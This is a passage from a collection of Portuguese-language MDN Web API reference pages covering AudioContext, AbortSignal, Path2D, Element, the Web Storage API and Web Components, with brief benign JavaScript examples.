(en-US).\n\n`AudioContext.createWaveShaper()` (en-US)\n\nCria um `WaveShaperNode` (en-US), que é usado para implementar efeitos de distorção não-lineares.\n\n`AudioContext.createAudioWorker()`\n\nCria um `AudioWorkerNode`, que pode interagir com um segmento de trabalho da Web para gerar, processar ou analisar o áudio diretamente. Isso foi adicionado à especificação em 29 de agosto de 2014, e ainda não foi implementado em nenhum navegador.\n\n`AudioContext.decodeAudioData()` (en-US)\n\nDecodifica assincronamente dados de arquivos de áudio contidos em `ArrayBuffer`. Nesse caso, o ArrayBuffer geralmente é carregado a partir de um atributo de `resposta` `XMLHttpRequest`'s definir o `responseType` para `arraybuffer`. Esse método funciona apenas em arquivos completos, não fragmentos de arquivos de áudio.\n\n`AudioContext.resume()` (en-US)\n\nRetoma a progressão do tempo em um contexto de áudio que anteriormente foi suspenso.\n\n`AudioContext.suspend()` (en-US)\n\nSuspende a progressão do tempo no contexto de áudio, interrompendo temporariamente o acesso ao hardware de áudio e reduzindo o uso da CPU / bateria no processo.\n\nMétodos obsoletos\n-----------------\n\n`AudioContext.createJavaScriptNode()` (en-US)\n\nCria um `JavaScriptNode`, usado para para processamento de áudio direto via JavaScript. Este método é obsoleto e foi substituído por `AudioContext.createScriptProcessor()` (en-US).\n\n`AudioContext.createWaveTable()` (en-US)\n\nCria um `WaveTableNode`, usado para definir uma forma de onda periódica. Este método é obsoleto e foi substituído por `AudioContext.createPeriodicWave ()`.\n\nExemplos\n--------\n\nDeclaração básica de contexto de áudio:\n\n\n```js\nvar audioCtx = new AudioContext();\n```\n\n\nCruzar a variante do navegador:\n\n\n```js\nvar AudioContext = window.AudioContext || window.webkitAudioContext;\nvar audioCtx = new AudioContext();\n\nvar oscillatorNode = audioCtx.createOscillator();\nvar gainNode = audioCtx.createGain();\nvar finish = audioCtx.destination;\n// etc.\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Audio API # AudioContext |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando a Web Audio API (en-US)\n* `OfflineAudioContext`"}
{"title":"AbortSignal - APIs da Web","text":"AbortSignal\n===========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA interface **`AbortSignal`** representa o sinal de um objeto que permite a você se comunicar com uma Requisição de DOM (como Fetch) e aborta-la se necessário via um objeto `AbortController` (en-US)\n\nPropriedades\n------------\n\n*A interface AbortSignal também herda propriedades de sua interface pai, `EventTarget`.*\n\n`AbortSignal.aborted` Somente leitura \n\nUm `Boolean` (en-US) que indica quando a(s) Request(s) com a qual o sinal está se comunicando está/estão abortadas(`true`) ou não(`false`).\n\n### Handlers de Eventos\n\n`AbortSignal.onabort` (en-US)\n\nInvocado quando um `abort` evento dispara, ex: quando as requests do DOM que o sinal estão se comunicando são/estão abortadas.\n\nMétodos\n-------\n\n*A interface AbortSignal também herda métodos de sua interface pai, `EventTarget`.*\n\nExemplos\n--------\n\nNo exemplo de código a seguir, nós vamos focar em fazer download de um vídeo usando a Fetch API.\n\nNós primeiro criaremos um controller usando o construtor do `AbortController()` (en-US), e então pegar a referência de seu objeto `AbortSignal` associado usando a propriedade `AbortController.signal` (en-US).\n\nQuando a requisição Fetch é iniciada, nós passamos o `AbortSignal` como uma opção dentro do objeto de opções da request (veja `{signal}`, abaixo). Isso associa o sinal e o controller com a requisição fetch e nos permite aborta-la chamando `AbortController.abort()` (en-US), como visto abaixo no segundo `event listener`.\n\n\n```js\nvar controller = new AbortController();\nvar signal = controller.signal;\n\nvar downloadBtn = document.querySelector('.download');\nvar abortBtn = document.querySelector('.abort');\n\ndownloadBtn.addEventListener('click', fetchVideo);\n\nabortBtn.addEventListener('click', function() {\n  controller.abort();\n  console.log('Download aborted');\n});\n\nfunction fetchVideo() {\n  ...\n  fetch(url, {signal}).then(function(response) {\n    ...\n  }).catch(function(e) {\n    reports.textContent = 'Download error: ' + e.message;\n  })\n}\n```\n\n\n**Nota:** Quando `abort()` é chamado, a promessa do `fetch()` é rejeitada com um `AbortError`.\n\nVocê pode encontrar um exemplo completo no GitHub — veja abort-api (see it running live also).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # interface-AbortSignal |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* Fetch API\n* Abortable Fetch by Jake Archibald"}
{"title":"Path2D - APIs da Web","text":"Path2D\n======\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA **`Path2D`** interface da API Canvas 2D é usada para declarar caminhos que são usados posteriormente em objetos `CanvasRenderingContext2D`. Os métodos de caminho da interface CanvasRenderingContext2D também estão presentes nessa interface e permitem criar caminhos que você pode reter e reproduzir conforme necessário em uma tela.\n\nConstrutores\n------------\n\n`Path2D()` (en-US)\n\n`Path2D` construtor. Cria um novo objeto `Path2D`.\n\nMetodos\n-------\n\n`Path2D.addPath()` (en-US)\n\nAdiciona um caminho ao caminho atual.\n\n`Path2D.closePath()`\n\nFaz com que o ponto da caneta retorne ao início do sub-caminho atual. Ele tenta desenhar uma linha reta desde o ponto atual até o início. Se a forma já foi fechada ou tem apenas um ponto, essa função não faz nada.\n\n`Path2D.moveTo()`\n\nMove o ponto inicial de um novo subcaminho para as coordenadas (x, y).\n\n`Path2D.lineTo()`\n\nConecta o último ponto no subcaminho às coordenadas x, y com uma linha reta.\n\n`Path2D.bezierCurveTo()` (en-US)\n\nAdiciona uma curva cúbica de Bézier ao caminho. Requer três pontos. Os dois primeiros pontos são pontos de controle e o terceiro é o ponto final. O ponto de partida é o último ponto no caminho atual, que pode ser alterado usando moveTo () antes de criar a curva Bézier.\n\n`Path2D.quadraticCurveTo()`\n\nAdiciona uma curva quadrática de Bézier ao caminho atual.\n\n`Path2D.arc()`\n\nAdiciona um arco ao caminho que é centralizado na posição (x, y) com raio r iniciando em startAngle e terminando em endAngle indo na direção dada no sentido anti-horário (padrão no sentido horário).\n\n`Path2D.arcTo()`\n\nAdiciona um arco ao caminho com os pontos de controle e raio dados, conectados ao ponto anterior por uma linha reta.\n\n`Path2D.ellipse()` (en-US)\n\nAdiciona uma elipse ao caminho que é centralizado na posição (x, y) com os raios radiusX e radiusY começando em startAngle e terminando em endAngle indo na direção determinada no sentido anti-horário (padrão no sentido horário).\n\n`Path2D.rect()`\n\nCria um caminho para um retângulo na posição (x, y) com um tamanho determinado por *width* e *height*.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # path2d-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `CanvasRenderingContext2D`"}
{"title":"Element - APIs da Web","text":"Element\n=======\n\nA interface **`Element`** é a classe base mais geral da qual todos os objetos em um `Document` herda. Ela somente tem métodos e propriedades comuns para todos os tipos de elementos. Mais classes específicas herdam de `Element`. Por exemplo, a interface `HTMLElement` (en-US) é a interface base para elementos HTML, enquanto a interface `SVGElement` (en-US) é a base para todos os elementos SVG. A maioria das funcionalidades é especificada mais abaixo da hierarquia de classes.\n\nLinguagens fora do domínio da plataforma da Web, como XUL através da interface `XULElement`, também implementa `Element`.\n\nPropriedades\n------------\n\n*Herda propriedades de seus parentes `Node`, e seu próprio parente, `EventTarget`, e implementa aqueles de `ParentNode`, `ChildNode`, `NonDocumentTypeChildNode` (en-US), e* `Animatable`.\n\n`Element.attributes` Somente leitura \n\nRetorna um `NamedNodeMap` (en-US) que lista todos os atributos associados ao elemento.\n\n`ParentNode.childElementCount`\n\nÉ um `Number` representando o número de nós filhos que são elementos.\n\n`ParentNode.children` (en-US)\n\nÉ um `HTMLCollection` ao vivo contendo todos os elementos filhos do elemento, como uma coleção.\n\n`Element.classList` Somente leitura \n\nRetorna um `DOMTokenList` (en-US) contendo a lista de atributos de classe.\n\n`Element.className`\n\nÉ um `DOMString` representando a classe do elemento.\n\n`Element.clientHeight` \nExperimental\n Somente leitura \n\nRetorna um `Number` representando a altura interna do elemento.\n\n`Element.clientLeft` (en-US) \nExperimental\n Somente leitura \n\nRetorna um `Number` representando a largura da borda do elemento..\n\n`Element.clientTop` (en-US) \nExperimental\n Somente leitura \n\nRetorna um `Number` representando a largura da borda do topo do elemento.\n\n`Element.clientWidth` (en-US) \nExperimental\n Somente leitura \n\nRetorna um `Number` representando a largura interna do elemento.\n\n`ParentNode.firstElementChild` (en-US)\n\nÉ um `Element`, o primeiro elemento filho direto de um elemento, ou `null` se o elemento não tem elementos filho.\n\n`Element.id`\n\nÉ um `DOMString` representando o id do elemento.\n\n`Element.innerHTML` \nExperimental\n\nÉ um `DOMString` representando a marcação do conteúdo do elemento.\n\n`ParentNode.lastElementChild` (en-US)\n\nÉ um `Element`, o último elemento filho direto de um elemento, ou `null` se o elemento não tem elementos filho.\n\n`NonDocumentTypeChildNode.nextElementSibling` (en-US)\n\nÉ um `Element`, o elemento seguido imediatamente do dito na árvore, ou `null` se não há nó irmão.\n\n`Element.outerHTML` \nExperimental\n\nÉ um `DOMString` representando a marcação do elemento incluindo seu conteúdo. Quando usado como um setter, substitui o elemento com nós analisados a partir de uma determinada string.\n\n`NonDocumentTypeChildNode.previousElementSibling` (en-US)\n\nÉ um `Element`, o elemento precedido imediatamente do dito na árvore, ou `nulo` se não há elemento irmão.\n\n`Element.scrollHeight` (en-US) \nExperimental\n Somente leitura \n\nRetorna um `Number` representando a altura da vista de rolagem de um elemento.\n\n`Element.scrollLeft` \nExperimental\n\nÉ um `Number` representando o deslocamento de rolagem esquerdo do elemento.\n\n`Element.scrollLeftMax` (en-US) \nNon-standard\n Somente leitura \n\nRetorna um `Number` representando o deslocamento de rolagem esquerdo máximo possível para o elemento.\n\n`Element.scrollTop` \nExperimental\n\nÉ um `Number` representando o deslocamento de rolagem superior de um elemento.\n\n`Element.scrollTopMax` (en-US) \nNon-standard\n Somente leitura \n\nRetorna um `Number` representando o deslocamento de rolagem máximo superior possível para o elemento.\n\n`Element.scrollWidth` \nExperimental\n Somente leitura \n\nRetorna um `Number` representando a largura de exibição de rolagem do elemento.\n\n`Element.shadowRoot` (en-US) \nExperimental\n Somente leitura \n\n...\n\n`Element.tagName` Somente leitura \n\nRetorna um `String` com o nome da tag para o elemento em questão.\n\n`Element.undoManager` \nExperimental\n Somente leitura \n\nRetorna o `UndoManager` associado com o elemento.\n\n`Element.undoScope` \nExperimental\n\nÉ a `Boolean` indicando se o elemento é um anular hospedagem de escopo, ou não.\n\n### Manipuladores de Eventos\n\n`Element.ongotpointercapture` (en-US)\n\n…\n\n`Element.onlostpointercapture` (en-US)\n\n…\n\n`Element.onwheel` (en-US) \nNon-standard\n\nRetorna o código de manipulação de evento para o evento `wheel`.\n\nMétodos\n-------\n\n*Herda métodos de seus parentes `Node`, e seu proprío parente, `EventTarget`, e implementa aqueles de `ParentNode`, `ChildNode`, `NonDocumentTypeChildNode` (en-US), e `Animatable`.*\n\n`EventTarget.addEventListener()`\n\nRegistra um manipulador de evento para um tipo específico de evento no elemento.\n\n`Element.closest()` \nExperimental\n\nRetorna o `Element`, descendente deste elemento(ou este elemento em si), que é o ancestral mais próximo dos elementos selecionados pelos seletores dados no parâmetro.\n\n`Element.createShadowRoot()` (en-US) \nExperimental\n\n…\n\n`EventTarget.dispatchEvent()`\n\nDespacha um evento para este nó no DOM e retorna um `Boolean` que indica que pelo menos um manipulador não o cancelou.\n\n`Element.find()`\nExperimental\n\n...\n\n`Element.findAll()`\nExperimental\n\n...\n\n`Animatable.getAnimationPlayers()` \nExperimental\n\n…\n\n`Element.getAttribute()`\n\nRecupera o valor do atributo nomeado do nó atual e o retorna como um `Object`.\n\n`Element.getAttributeNS()` (en-US)\n\nRecupera o valor do atributo com o nome especificado e namespace, do nó atual e o retorna como um `Object`.\n\n`Element.getAttributeNode()` (en-US)\n\nRecupera a representação do nó de um atributo nomeado do nó atual e o retorna como um `Attr`.\n\n`Element.getAttributeNodeNS()` (en-US)\n\nRecupera a representação de nó do atributo com o nome especificado e namespace, do nó atual e o retorna como um `Attr`.\n\n`Element.getBoundingClientRect()` \nExperimental\n\n...\n\n`Element.getClientRects()` (en-US) \nExperimental\n TYPE of returnvalue????\n\nRetorna uma coleção de retângulos que indicam os retângulos delimitadores para cada linha de texto em um cliente.\n\n`Element.getDestinationInsertionPoints()` \nExperimental\n\n…\n\n`Element.getElementsByClassName()`\n\nRetorna um `HTMLCollection` vivo que contêm todos os descendentes do elemento atual que possui a lista de classes dadas no parâmetro.\n\n`Element.getElementsByTagName()` (en-US)\n\nRetorna um `HTMLCollection` vivo contendo todos os elementos descendentes, de uma etiqueta de nome particular, do elemento atual.\n\n`Element.getElementsByTagNameNS()` (en-US)\n\nRetorna um `HTMLCollection` vivo contendo todos os elementos descendentes, de uma etiqueta de nome particular e namespace, do elemento atual.\n\n`Element.hasAttribute()` (en-US)\n\nRetorna um `Boolean` indicando se o elemento tem o atributo especificado ou não.\n\n`Element.hasAttributeNS()` (en-US)\n\nRetorna um `Boolean` indicando se o elemento tem um atributo especificado, no namespace especificado, ou não.\n\n`Element.insertAdjacentHTML` \nExperimental\n\nAnalisa o texto como HTML ou XML e insere os nós resultantes na árvore em dada posição.\n\n`Element.matches()` \nExperimental\n\nRetorna um `Boolean` indicando se o elemento seria ou não selecionado pelo seletor de string specificada.\n\n`Element.querySelector()`\n\nRetorna `Node`...\n\n`Element.querySelectorAll`\n\nRetorna um `NodeList`...\n\n`Element.releasePointerCapture` (en-US) \nExperimental\n\n…\n\n`ChildNode.remove()` (en-US)\n\nRemove o elemento da lista de filhos de seu parente.\n\n`Element.removeAttribute()`\n\nRemove um atributo nomeado do nó atual.\n\n`Element.removeAttributeNS()` (en-US)\n\nRemove o atributo com o nome especificado ou namespace, do nó atual.\n\n`Element.removeAttributeNode()` (en-US)\n\nRemove a representação do nó do atributo nomeado do nó atual.\n\n`EventTarget.removeEventListener()`\n\nRemove um ouvinte de eventos do elemento.\n\n`Element.requestFullscreen()` (en-US) \nExperimental\n\nAssíncronamente pede o navegador para fazer o elemento tela cheia.\n\n`Element.requestPointerLock()` (en-US) \nExperimental\n\nPermite assíncronamente pedir pelo apontador para ser bloqueado em um dado elemento.\n\n`Element.scrollIntoView()` \nExperimental\n\nRola a página até que o elemento apareça na visão.\n\n`Element.setAttribute()`\n\nDefine o valor de um atributo nomeado do nó atual.\n\n`Element.setAttributeNS()`\n\nDefine o valor do atributo com o nome especificado e namespace, do nó atual.\n\n`Element.setAttributeNode()` (en-US)\n\nDefine a representação do nó de um atributo nomeado do nó atual.\n\n`Element.setAttributeNodeNS()` (en-US)\n\nDefine a representação do nó do atributo com o nome especificado e namespace, do nó atual.\n\n`Element.setCapture()` (en-US) \nNon-standard\n\nDefine a captura de evento do mouse, redirecionando todos os eventos de mouse para este elemento.\n\n`Element.setPointerCapture()` (en-US)\n\n…\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # interface-element |\n| Pointer Events # extensions-to-the-element-interface |\n| Pointer Lock 2.0 # extensions-to-the-element-interface |\n| Fullscreen API Standard # api |\n| DOM Parsing and Serialization # extensions-to-the-element-interface |\n| CSSOM View Module # extension-to-the-element-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"API de Armazenamento na Web - APIs da Web","text":"API de Armazenamento na Web\n===========================\n\nA API de armazenamento na web (**Web Storage**) fornece mecanismos para que os navegadores possam armazenar dados através de chave/valor de uma forma mais eficiente que os cookies.\n\nArmazenamento na Web conceitos e formas de uso\n----------------------------------------------\n\nA API de Web Storage fornece duas maneiras de armazenar dados:\n\n* `sessionStorage` mantém as informações armazenadas por origem e permanece disponível enquanto há uma sessão aberta no navegador (mesmo a página sendo recarregada). Caso o browser seja fechado a sessão será limpa e as informações serão perdidas.\n* `localStorage` mesmo que o navegador seja fechado, os dados permanecem armazenados.\n\nEsses mecanismos estão disponíveis a partir das seguintes propriedades `Window.sessionStorage` e `Window.localStorage` (para um maior suporte, o objeto `Window` implementa os objetos `Window.LocalStorage` e `Window.SessionStorage`) — ao invocar uma dessas propriedades, é criada uma instância do objeto `Storage`, que fornece métodos para inserir, recuperar e remover os dados. Sempre será utilizado um objeto diferente para cada origem de `sessionStorage` e `localStorage, dessa forma o controle de ambos é realizado de forma separada.`\n\n**Nota:** Nota: O acesso a API de Web storage a partir de IFrames de terceiros é negado se o usuário desabilitou cookies de terceiros (Firefox implementa esse comportamento a partir da versão 43 em diante).\n\n**Nota:** Nota\\*\\*:\\*\\* Web Storage não é o mesmo que mozStorage (interface XPCOM da Mozilla para o SQLite) ou Session store API (uma forma de armazenamento XPCOM para uso de extensões).\n\nInterfaces de Armazenamento na Web\n----------------------------------\n\n`Storage`\n\nPermite que você insira, recupere e remova dados de um domínio no storage(session ou local).\n\n`Window`\n\nA API de Web Storage estende o objeto `Window` com duas novas propriedades — `Window.sessionStorage` e `Window.localStorage` — fornecendo acesso à sessão do domínio atual e local para o objeto `Storage` respectivamente.\n\n`StorageEvent` (en-US)\n\nUm evento de storage é chamado em um objeto window do documento quando ocorre uma mudança no storage.\n\nExemplos\n--------\n\nPara desmonstrar o uso de web storage, nós criamos um exemplo simples, chamado Web Storage Demo. A página da demo landing page oferece funcionalidades que permitem alterar a cor, fonte e imagem que é exibida na página. Quando você escolhe uma opção diferente, a página será atualizada imediatamente. Além disso, sua escolha foi armazenada em `localStorage`, para que quando você feche o navegador e abra novamente para acessar a página, suas escolhas sejam lembradas.\n\nNós também fornecemos um event output page — para quando você abrir a página em outra aba, as informações sejam atualizadas através da chamada de um `StorageEvent`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-localstorage-dev |\n| HTML Standard # dom-sessionstorage-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### api.Window.localStorage\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.Window.sessionStorage\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNavegação privada /modo de navegação anônima\n--------------------------------------------\n\nBoa parte dos navegadores atuais suportam a opção de privacidade chamada modo de \"Navegação privada ou anônima\", que basicamente torna a sessão de navegação privada e não deixa rastros depois que o navegador é fechado. Este modo é incompatível com armazenamento na Web por razões óbvias. Os fabricantes de navegadores estão experimentando com diferentes cenários como lidar com essa incompatibilidade.\n\nA maioria dos navegadores optaram por uma estratégia onde as APIs de armazenamento ainda estão disponíveis e, aparentemente, funcional, com a grande diferença de que todos os dados armazenados é apagado depois que o navegador é fechado. Para estes navegadores ainda existem diferentes interpretações sobre o que deve ser feito com os dados existentes armazenados (a partir de uma sessão de navegação regular). E quanto a leitura dos dados se o navegador estiver no modo privado? Há alguns navegadores, principalmente Safari, que optaram por uma solução em que o armazenamento está disponível, mas está vazio e tem uma quota de 0 bytes atribuídos, tornando impossível o armazenamento de dados.\n\nOs desenvolvedores devem estar cientes e considerar as diferentes formas de implementações ao desenvolverem sites dependendo das APIs Web Storage. Para mais informações, leia neste post escrito no blog do WHATWG que lida especificamente com este tópico.\n\nVeja também\n-----------\n\nUsando a API Web Storage"}
{"title":"Web Components - APIs da Web","text":"Web Components\n==============\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since January 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nWeb Components é uma suíte de diferentes tecnologias que permite a criação de elementos customizados reutilizáveis — com a funcionalidade separada do resto do seu código — e que podem ser utilizados em suas aplicações web.\n\nConceitos e uso\n---------------\n\nComo desenvolvedores, sabemos que é uma boa ideia reutilizar o código o máximo que pudermos. Tradicionalmente, isso não tem sido fácil quando o assunto são estruturas de marcação customizadas — pense no complexo HTML (e estilo e script associados) que, às vezes, deve ser escrito para renderizar controles UI customizados e em como utilizá-los repetidas vezes pode tornar sua página uma bagunça se você não tomar cuidado.\n\nWeb Components buscam resolver esses problemas — são formados por três tecnologias principais, que podem ser usadas em conjunto para criar elementos customizados versáteis, com funcionalidade encapsulada, que podem ser reutilizados onde você quiser sem preocupação com conflito de código.\n\n* **Elementos customizados**: Um conjunto de APIs JavaScript que permite definir elementos customizados e seus respectivos comportamentos, podendo ser utilizados de diferentes formas na interface da aplicação.\n* **Shadow DOM**: Um conjunto de APIs JavaScript para incorporar uma árvore DOM \"fantasma\" encapsulada a um elemento — que é renderizada separadamente do DOM do documento principal — e controlar a funcionalidade associada. Nesse caso, você pode manter os recursos de um elemento privados, fazendo com que seu comportamento e estilo possam ser escritos sem medo de causar conflito com outras partes do documento.\n* **Templates HTML**: Os elementos `<template>` e `<slot>` (en-US) permitem que você escreva templates de marcação que não são exibidas na página. Elas podem então ser reutilizadas várias vezes como modelo de estrutura de um elemento customizado.\n\nA abordagem básica para se implementar um componente web geralmente se parece com isso:\n\n1. Crie uma classe na qual você especifica a funcionalidade do seu componente web, usando a sintaxe de classe do ECMAScript 2015 (veja Classes para mais informações).\n2. Registre seus elemento customizado através do método `CustomElementRegistry.define()`, passando o nome do elemento a ser definido, a classe ou função na qual sua funcionalidade foi especificada, e opcionalmente, de qual elemento ele herda suas propriedades.\n3. Se necessário, incorpore um shadow DOM ao elemento customizado usando o método `Element.attachShadow()` (en-US). Adicione elementos filhos, listeners, etc., ao shadow DOM usando métodos normais de DOM.\n4. Se necessário, defina um template HTML usando `<template>` e `<slot>` (en-US). Novamente, use os métodos normais de DOM methods para clonar o template e inclui-la ao shadow DOM.\n5. Use seu elemento customizado onde você preferir em sua página, da mesma forma que usaria qualquer outro elemento HTML.\nTutoriais\n---------\n\nUsando elementos customizados\n\nUm guia que mostra como usar os recursos de elementos customizados para criar componentes web simples, além de como analisar o ciclo de vida das funções de retorno e outros recursos mais avançados.\n\nUsando shadow DOM (en-US)\n\nUm guia que analisa os fundamentos do shadow DOM, mostrando como incorporá-lo a um elemento, adicioná-lo à árvore do shadow DOM, estilizá-lo, etc.\n\nUsando templates e slots (en-US)\n\nUm guia que mostra como definir uma estrutura HTML reutilzável através dos elementos `<template>` e `<slot>` (en-US), e como utilizar essa estrutura dentro de elementos web.\n\nReferência\n----------\n\n### Elementos customizados\n\n`CustomElementRegistry`\n\nContém funcionalidade relacionada a elementos personalizados, principalmente o método `CustomElementRegistry.define()` usado para registrar novos elementos personalizados, para que possam ser usados em seu documento.\n\n`Window.customElements` (en-US)\n\nRetorna uma referência ao objeto `CustomElementRegistry`.\n\nCallbacks do ciclo de vida\n\nFunções callback especiais definidas dentro da definição de classe de elemento customizado, afetando seu comportamento:\n\n* `connectedCallback`: Invocada quando um elemento customizado é adicionao ao DOM do documento.\n* `disconnectedCallback`: Invocada quando o elemento customizado é desconectado do DOM do documento.\n* `adoptedCallback`: Invocada quando o elemento customizado é movido para um novo documento.\n* `attributeChangedCallback`: Invocada quando um dos atributos de um elemento customizado é adicionado, removido ou alterado.\n\nExtensões para criação de elementos built-in customizados\n\nThe following extensions are defined:\n\n* O atributo HTML global `is`: Permite especificar que um elemento HTML padrão deve se comportar como um elemento built-in customizado registrado.\n* A opção \"is\" do método `Document.createElement()`: Permite criar uma instância de um elemento HTML standard que se comporta como um determinado elemento built-in customizado registrado.\n\nCSS pseudo-classes\n\nPseudo-classes relacionadas especificamente a elementos customizados:\n\n* `:defined` (en-US): Corresponde a qualquer elemento que está definido, incluindo elementos built-in e elementos customizados que foram definidos com `CustomElementRegistry.define()`).\n* `:host` (en-US): Seleciona o host fantasma do shadow DOM (en-US) contendo o CSS utilizado internamente.\n* `:host()` (en-US): Seleciona o host fantasma do shadow DOM (en-US) contendo o CSS utilizado internamente (permitindo selecionar um elemento customizado de dentro de seu shadow DOM) — mas somente se o seletor que foi passado via parâmetro da função corresponder ao host fantasma.\n* `:host-context()`: Seleciona o host fantasma do shadow DOM (en-US) contendo o CSS utilizado internamente (permitindo selecionar um elemento customizado de dentro de seu shadow DOM) — mas somente se o seletor que foi passado via parâmetro da função corresponder ao(s) ancestral(ais) do host fantasma relativo à posição que ele toma dentro da hierarquida do DOM.\n\nCSS pseudo-elementos\n\nPseudo-elementos relacionados especificamente a elementos customizados:\n\n* `::part` (en-US): Representa qualquer elemento dentro de uma shadow tree (en-US) que tenha um atributo `part` correspondente.\n\n### Shadow DOM\n\n`ShadowRoot` (en-US)\n\nRepresenta o nó raíz de uma sub-árvore DOM fantasma.\n\n`DocumentOrShadowRoot`\n\nUm mixin que define funcionalidades que ficam disponíveis através do documento e das raízes fantasma.\n\nExtensões `Element`\n\nExtensões à interface `Element` relacionado ao shadow DOM:\n\n* O método `Element.attachShadow()` (en-US) vincula uma árvore DOM fantasma ao elemento especificado.\n* A propriedade `Element.shadowRoot` (en-US) retorna a árvore fantasma raíz vinculada ao elemento especificado, ou `null` se não existir nenhuma árvore fantasma vinculada.\n\nAdições relevantes `Node`\n\nAdicionais à interface `Node` pertinentes ao shadow DOM:\n\n* O método `Node.getRootNode()` (en-US) retorna a raíz do objeto contexto, que opcionalmente inclui a \"raíz fantasma\" (shadow root) se a mesma estiver dispinível.\n* A propriedade `Node.isConnected` retorna um boolean indicando se o Nó está ou não conectado (direta ou indiretamente) ao objeto contexto, ex. o objeto `Document` no caso de um DOM normal, ou o `ShadowRoot` (en-US) no caso de um DOM fantasma (shadow DOM).\n\nExtensões `Event`\n\nExtensões para a interface de `Event` relacionado a shadow DOM:\n\n* `Event.composed` (en-US): Retorna um `Boolean` que indica\n se o evento irá se propagar através dos limites do shadow DOM para dentro do DOM padrão (`true`), ou não (`false`).\n* `Event.composedPath` (en-US): Retorna o caminho do evento (objetos nos quais os listeners serão invocados). Não inclui nós na shadow tree se a shadow root foi criada com `ShadowRoot.mode` (en-US) closed (fechado).\n\n### Templates HTML\n\n`<template>`\n\nContém um fragmento HTML que não é renderizado quando um documento que o contém é inicialmente carregado, mas pode ser exibido em tempo de execução usando JavaScript, geralmente utilizado como base de estruturas de elementos customizados. A interface DOM associada é `HTMLTemplateElement` (en-US).\n\n`<slot>` (en-US)\n\nUm placeholder dentro de um web component que você pode preencher com seu texto de marcação, permitindo criar árvores DOM separadas e apresentar delas juntas. A interface DOM associada é a `HTMLSlotElement`.\n\n`O atributo HTML global slot`\n\nAtribui um slot em uma árvore shadow DOM a um elemento.\n\n`Slotable` (en-US)\n\nUm mixin implementado por ambos os nós `Element` e`Text` (en-US) definindo funcionalidades que permitem tornar-se conteúdo de um elemento `<slot>` (en-US). O mixin define um atributo, `Slotable.assignedSlot` (en-US), o qual retorna uma referência do slot em que o nó está sendo inserido.\n\nExtensões `Element`\n\nExtensões para a interface de `Element` relacionado a slots:\n\n* `Element.slot` (en-US): Retorna o nome do slot do shadow DOM associado ao elemento.\n\nPseudo-elementos CSS\n\nPseudo-elementos relacionados especificamente a slots:\n\n* `::slotted` (en-US): Corresponde a qualquer conteúdo inserido naquele slot.\n\nO evento `slotchange`\n\nDisparado em uma instância `HTMLSlotElement` (elemento `<slot>` (en-US)) quando há mudança no nó(s) contido naquele slot.\n\nExemplos\n--------\n\n Estamos construindo alguns exemplos em nosso repo do GitHub web-components-examples.\n Mais exemplos serão adicionados com o passar do tempo.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-template-element |\n| DOM Standard # interface-shadowroot |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### html.elements.template\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.ShadowRoot\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* webcomponents.org — site apresentando exemplos de web components, tutoriais e outras informações.\n* FAST é uma biblioteca de web component construída pela Microsoft que oferece vários pacotes para potencializar dependendo das necessidades do seu projeto. Fast Element é um meio fácil de criar Web Components de alto desempenho, com eficiência de memória e em conformidade com os padrões. Fast Foundation é uma biblioteca de classes, modelos e outros utilitários de Web Components criados em elementos rápidos destinados a serem compostos em Web Components registrados.\n* Hybrids — Biblioteca web components de código aberto, que favorece objetos simples e funções puras em vez de `class` e this sintaxe. Ele fornece uma API simples e funcional para a criação de elementos personalizados.\n* Polymer — Framework de web components do Google - um conjunto de polyfills, melhorias e exemplos. Atualmente, a maneira mais fácil de usar os web components em vários navegadores.\n* Snuggsi — Web Components fáceis com ~1kB *Incluindo polyfill* — Tudo que você precisa é um navegador e um conhecimento básico de HTML, CSS e classes JavaScript para ser produtivo.\n* Slim.js — Biblioteca web components de código aberto - uma biblioteca de alto desempenho para criação rápida e fácil de componentes; extensível e plugável e compatível com cross-framework.\n* Stencil — Conjunto de ferramentas para a construção de sistemas de design reutilizáveis e escalonáveis em web components."}
